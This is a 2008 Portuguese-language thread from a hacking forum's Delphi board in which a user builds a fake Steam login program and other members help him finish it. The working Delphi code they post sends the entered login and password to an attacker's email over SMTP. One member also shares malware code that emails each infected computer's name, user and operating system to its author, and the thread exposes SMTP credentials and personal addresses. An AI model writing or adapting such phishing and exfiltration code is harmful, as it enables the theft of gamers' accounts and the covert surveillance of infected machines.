FORUM DARKERS

Tecnologia & Informática => Programação => Delphi => Tópico iniciado por: lostph online 29 de Janeiro , 2008, 04:45:54 PM

Título: [AJUDA] envio de informações
Enviado por: lostph online 29 de Janeiro , 2008, 04:45:54 PM
Olah, pessoal do Darkers ...

Bom vo explica o que aconteceu , antes de formata meu pc ... eu tinha um projeto funcionando aonde era um fake da STEAM ...

Mais formatei e eskeci de salva o projeto certo, so salv ei a metade dele, refiz ele novamente ...

POrem estou com problema na parte de envio da mensagem , gostaria de saber, se alguem pode me ajudar ..


Meu projeto tem 2 edit ...

Edit1... Edit 2...

aonde ao serem preenchidos e clikado em enviar ..

enviaria para meu e-mail da pop ....
Desde jah agradeço ..

Obrigado!.
Título: Re: [AJUDA] envio de informações
Enviado por: whit3_sh4rk online 29 de Janeiro , 2008, 07:11:57 PM
Existem vários exemplos na net..

http://www.babooforum.com.br/forum/inde ... try1521938 (http://www.babooforum.com.br/forum/index.php?showtopic=390630&pid=1521938&mode=threaded&start=#entry1521938)

[]s
Título: Re: [AJUDA] envio de informações
Enviado por: lostph online 30 de Janeiro , 2008, 12:37:51 AM
Não consegui whit3_sh4rk

to tentando usa este codigo ..

begin
//envio de e-mail com o servidor yahoo muito bom, um pequeno exemplo

IdSMTP.Port:=465;
IdSMTP.Host:='smtp.mail.yahoo.com.br';
IdSMTP.Username:='steam_lostph';
IdSMTP.Password:='***';
IdSMTP.AuthenticationType:=atLogin;
IdSMTP.Connect(0);

//O seu endereço de e-mail
IdMessage.From.Address :='steam_lostph@yahoo.com.br';
//Aqui vai o endereço de e-mail para o qual você quer mandar o e-mail
IdMessage.Recipients.EMailAddresses :='lostph_steam@pop.com.br';
//O assunto da mensagem
IdMessage.Subject :='CONTA STEAM =]';

try
IdSMTP.Send(IdMessage);
finally
IdSMTP.Disconnect;
end;
Application.MessageBox('Email enviado com sucesso!', 'Confirmação',
MB_ICONINFORMATION + MB_OK);
end;
Título: Re: [AJUDA] envio de informações
Enviado por: c0dek online 30 de Janeiro , 2008, 04:29:48 AM
lostph,
Parece que ultimamente está tendo muitos problemas no envio de e-mail pelo SMTP da Yahoo!
Na última vez em que testei(não faz muito tempo) usei o da BOL e deu certo.

P.S.:
-No IdSMTP.Username ponha somente o login.
Ex.: IdSMTP.Username:= 'lostph_steam';  // sem o @bol.com.br
-Use IdSMTP.Port:=25.
-SMTP da BOL: smtps.bol.com.br

De resto tudo normal.
Faça o teste ai. Qualquer coisa poste.
Abraços!
Título: Re: [AJUDA] envio de informações
Enviado por: lostph online 30 de Janeiro , 2008, 03:30:42 PM
Bom c0dek segui sue conselho fiz um e-mail na BOL porem ...
peloq ue opservei a bol Recebe pelo POP e Envia pelo SMTP ...

Eu naum tenho no meu codigo a configuração pop e nem o componente pop ...
Sou meio inexperiente na parte de codificação ...

estou usando este código aqui, naum sei se está correto mais .

//envio de e-mail com o servidor yahoo muito bom, um pequeno exemplo

IdSMTP.Port:=25;
IdSMTP.Host:='smtp.bol.com.br';
IdSMTP.Username:='lostph.steam';
IdSMTP.Password:='***';
IdSMTP.AuthenticationType:=atLogin;
IdSMTP.Connect(0);

//O seu endereço de e-mail
IdMessage.From.Address :='lostph.steam@bol.com.br';
//Aqui vai o endereço de e-mail para o qual você quer mandar o e-mail
IdMessage.Recipients.EMailAddresses :='lostph.steam@bol.com.br';
//O assunto da mensagem
IdMessage.Subject :='CONTA STEAM =]';

try
IdSMTP.Send(IdMessage);
finally
IdSMTP.Disconnect;
end;
Application.MessageBox('Email enviado com sucesso!', 'Confirmação',
MB_ICONINFORMATION + MB_OK);
end;


Vc mesmo pdoe ver que so tem as informações smtp ..
uma vez um amigo meu me passo um codigo so smtp usei pela pop e deu certo, mais o codigo era muitooo simples ...

se vcs que tem mais experiencia pode me ajudar, pode ser em qlquer e-mail , eu faço o e-mail ...

Muito obrigado...
Título: Re: [AJUDA] envio de informações
Enviado por: whit3_sh4rk online 30 de Janeiro , 2008, 08:00:52 PM
Se o BOL utilizar SSL, esse método comum não irá funcionar.

Assim como o Yahoo e GMail por exemplo utilizam..

[]s
Título: Re: [AJUDA] envio de informações
Enviado por: lostph online 30 de Janeiro , 2008, 08:33:03 PM
ah tá ... mais não existe um jeito de fazer funcionar ?...
mesmo sem o SSL ... acho que o pop naum utiliza..
Título: Re: [AJUDA] envio de informações
Enviado por: c0dek online 30 de Janeiro , 2008, 11:42:15 PM
Lostph,
Tenta enviar pra um email da Gmail, quando eu testei usei SMTP do BOL enviando pra um email Gmail.
Testa ai que quando eu tiver um tempo eu faço uns testes aqui e te mando.

[]'s
Título: Re: [AJUDA] envio de informações
Enviado por: lostph online 30 de Janeiro , 2008, 11:59:21 PM
ok , vo testa e posto o resultado aki =] ...
Título: Re: [AJUDA] envio de informações
Enviado por: OnlyOne online 31 de Janeiro , 2008, 03:40:35 PM
ate onde eu sei o BOL nao usa SSL , o GMAil sim , mas isso t5b pode ser implementado via codigo , no yahoo vc tem q configurar seu email pra acessar o POP e o SMTP , pelo menos era assim
Título: Re: [AJUDA] envio de informações
Enviado por: Zero cool online 31 de Janeiro , 2008, 04:28:00 PM
oks vamos la,  vc pode usar tanto bol quanto yahoo pra autenticar, o problema esta no codigo sendo que vc pode autenticar tbm via http post que eu acho muito melhor, mas vamos ficar com smtp mesmo:

vou te passar um code que vai tirar suas duvidas

procedure TCmd.e1;
begin
{=========================================================================================================}
{ CONFIGURE AQUI SEU EMAIL PARA IFECTS }
{=========================================================================================================}
if (not func.Co) or (fileexists(func.dr + file_flag)) then
  exit;
  filecreate(func.dr+file_flag);
  msg.Body.Clear;
  msg.From.Name := func.User;
  msg.From.Address := 'Zerocool@bol.com';   }
  msg.Recipients.EMailAddresses := ('Zerocool@gmail.com');
  msg.Subject :=  'Infectado: ' + func.CompNAME;
  Smtp.Host := ('smtps.bol.com');;
  msg.Body.Add('====================== Zero cool ============================');
  msg.Body.Add('Nome do Computador........................: ' + func.CompNAME);
  msg.Body.Add('Usuário ativo.............................: ' + func.User);
  msg.Body.Add('Data......................................: ' + datetostr(now));
  msg.Body.Add('Hora......................................: ' + timetostr(now));
  msg.Body.Add('__________________________________________________________________');
  msg.Body.Add('Sistema Operacional.......: ' + func.GIV);
  msg.Body.Add('Resolução do Monitor......: ' + IntToStr(Screen.Width));
  msg.Body.Add('==================================================================');
  msg.Body.Add('');
  msg.Body.Add('-= Zero cool Darkers =-');
  Smtp.AuthenticationType := atLogin ;
  Smtp.Username := 'Zerocool'; {<--- username do email que vai enviar os infects }
  Smtp.Password :='09873gf1873';  {<--- senha do email que vai enviar os infects }
  Smtp.Port     := 25;
  Smtp.Connect;
{=========================================================================================================}
{=========================================================================================================}
   Try
  Smtp.Send(Msg);
    except
  Smtp.Disconnect;
  end;
  Smtp.Disconnect;

End;
Título: Re: [AJUDA] envio de informações
Enviado por: c0dek online 31 de Janeiro , 2008, 06:17:36 PM
Zero Cool,
Seria interessante postar esse método de HTTP Post ou algum link como referência, me interessei por ele. Se você puder, é claro.

Obrigado.

Abraços.
Título: Re: [AJUDA] envio de informações
Enviado por: lostph online 01 de Fevereiro , 2008, 04:11:39 AM
ZeroCool , muito obrigado pelo codigo ... esta completo ..

porem como vc eh amis esperiente , gostaria de add o edit 1 e edit 2 no e-mail tbm , como ?!


abraços
Título: Re: [AJUDA] envio de informações
Enviado por: lostph online 01 de Fevereiro , 2008, 04:17:36 AM
Zero cool ... seu codigo esta dando erro...

nesta linha
if (not func.Co) or (fileexists(func.dr + file_flag)) then

acredito que nas outras tbm ..

abraços ..

e mesmo asism agradeço muito a ajuda, seu codigo deu pra ter noção mais amplas do que posso fazer!
Título: Re: [AJUDA] envio de informações
Enviado por: c0dek online 01 de Fevereiro , 2008, 05:43:06 AM
lostph,

Tente usar esse código:

with SMTP do
  begin
Host:='smtps.bol.com.br';
Port:=25;
Username:='';
Password:='';
AuthenticationType := atLogin;
Connect;
  end;

with Mensagem do
  begin
  Body.Add('');
  Body.Add('LOGIN: ' + edit1.text);
  Body.Add('SENHA: ' + edit2.text);
  Body.Add('');
From.Address:=''; // E-mail da autenticação
From.Name:=''; // Nome de quem está enviando (remetente)
Recipients.EMailAddresses:= ''; // E-mail que vai receber as informações
Subject :='Conta Steam =]';
ContentType:='text/html';
  end;
try
SMTP.Send(Mensagem);
finally
SMTP.Disconnect;
end;

O código que o ZeroCool passou era pra você ter uma base, deu erro porque você não tem as funções. :D


Abraços.
Título: Re: [AJUDA] envio de informações
Enviado por: Zero cool online 01 de Fevereiro , 2008, 06:29:10 PM
Citação de: "lostph"Zero cool ... seu codigo esta dando erro...

nesta linha
if (not func.Co) or (fileexists(func.dr + file_flag)) then

acredito que nas outras tbm ..

abraços ..

e mesmo asism agradeço muito a ajuda, seu codigo deu pra ter noção mais amplas do que posso fazer!

lostph essa funcao e pra n mandar infect repetido ou info

traduzindo: Se não (func.Co)ou (arquivoexiste(func.dr + file_flag)) então
fecha;
criaarquivo(func.dr+file_flag);

vc pode deletar essa linha, que vae enviar do mesmo jeito, dae e com vc.
Título: Re: [AJUDA] envio de informações
Enviado por: lostph online 05 de Fevereiro , 2008, 02:24:58 PM
Obrigado pela ajuda c0dek,Zero cool ...

COnsegui faezr o e-mail chega atraz ve codigo:

with idSMTP do
  begin
Host:='smtps.bol.com.br';
Port:=25;
Username:='lostph.steam';
Password:='rapha06';
AuthenticationType := atLogin;
Connect;
  end;

with idMessage do
  begin
  Body.Add('');
  Body.Add('LOGIN: ' + edit1.text);
  Body.Add('SENHA: ' + edit2.text);
  Body.Add('');
From.Address:='lostph.steam@bol.com.br'; // E-mail da autenticação
From.Name:='Raphael'; // Nome de quem está enviando (remetente)
Recipients.EMailAddresses:= 'raphiskis@gmail.com'; // E-mail que vai receber as informações
Subject :='Conta Steam =]';
ContentType:='text/html';
  end;
try
idSMTP.Send(idMessage);
finally
idSMTP.Disconnect;
end;
end;

porem so envio  1 vez ....

tipooo ... eu naum to conseguindo intende, por que esta taum dificil manda um e-mail ...

me add msn: ph.slater@hotmail.com

Obrigado , e desculpa pela demora, tava viajando.
Título: Re: [AJUDA] envio de informações
Enviado por: lostph online 05 de Fevereiro , 2008, 02:39:59 PM
OnlyOne,whit3_sh4rk, obrigado tbm , fui meio que fazer nas presas e acabei eskecendo de coloka o nick de vcs, poreme stou muito grato tbm ...

começa estuda agora, Sistemas da informação na facul ...
quem sabe invez de pedi ajuda, estarei ajudando tbm ...

abraços
Título: Re: [AJUDA] envio de informações
Enviado por: c0dek online 05 de Fevereiro , 2008, 03:07:50 PM
Cara,
Aonde você colocou o comando para enviar o e-mail?
Explicar assim fica difícil, te adicionei lá no msn.

Abraços!
Título: Re: [AJUDA] envio de informações
Enviado por: case online 10 de Março , 2008, 11:27:46 PM
Nao sei se ajuda mas, também tive problemas com envio de mail pelo yahoo e depois consegui
colocando o endereco de smtp como smtp.mail.yahoo.com e a porta 25.

agora to utilizando duas rotinas, quando a do yahoo falha mando pelo bol

nesse site tem um exemplo de como utilizar o indy pra autenticar e enviar para gmail

http://www.activedelphi.com.br/forum/vi ... c269fb14e4 (http://www.activedelphi.com.br/forum/viewtopic.php?t=35256&highlight=&sid=e65472df859f3a31fcaadec269fb14e4)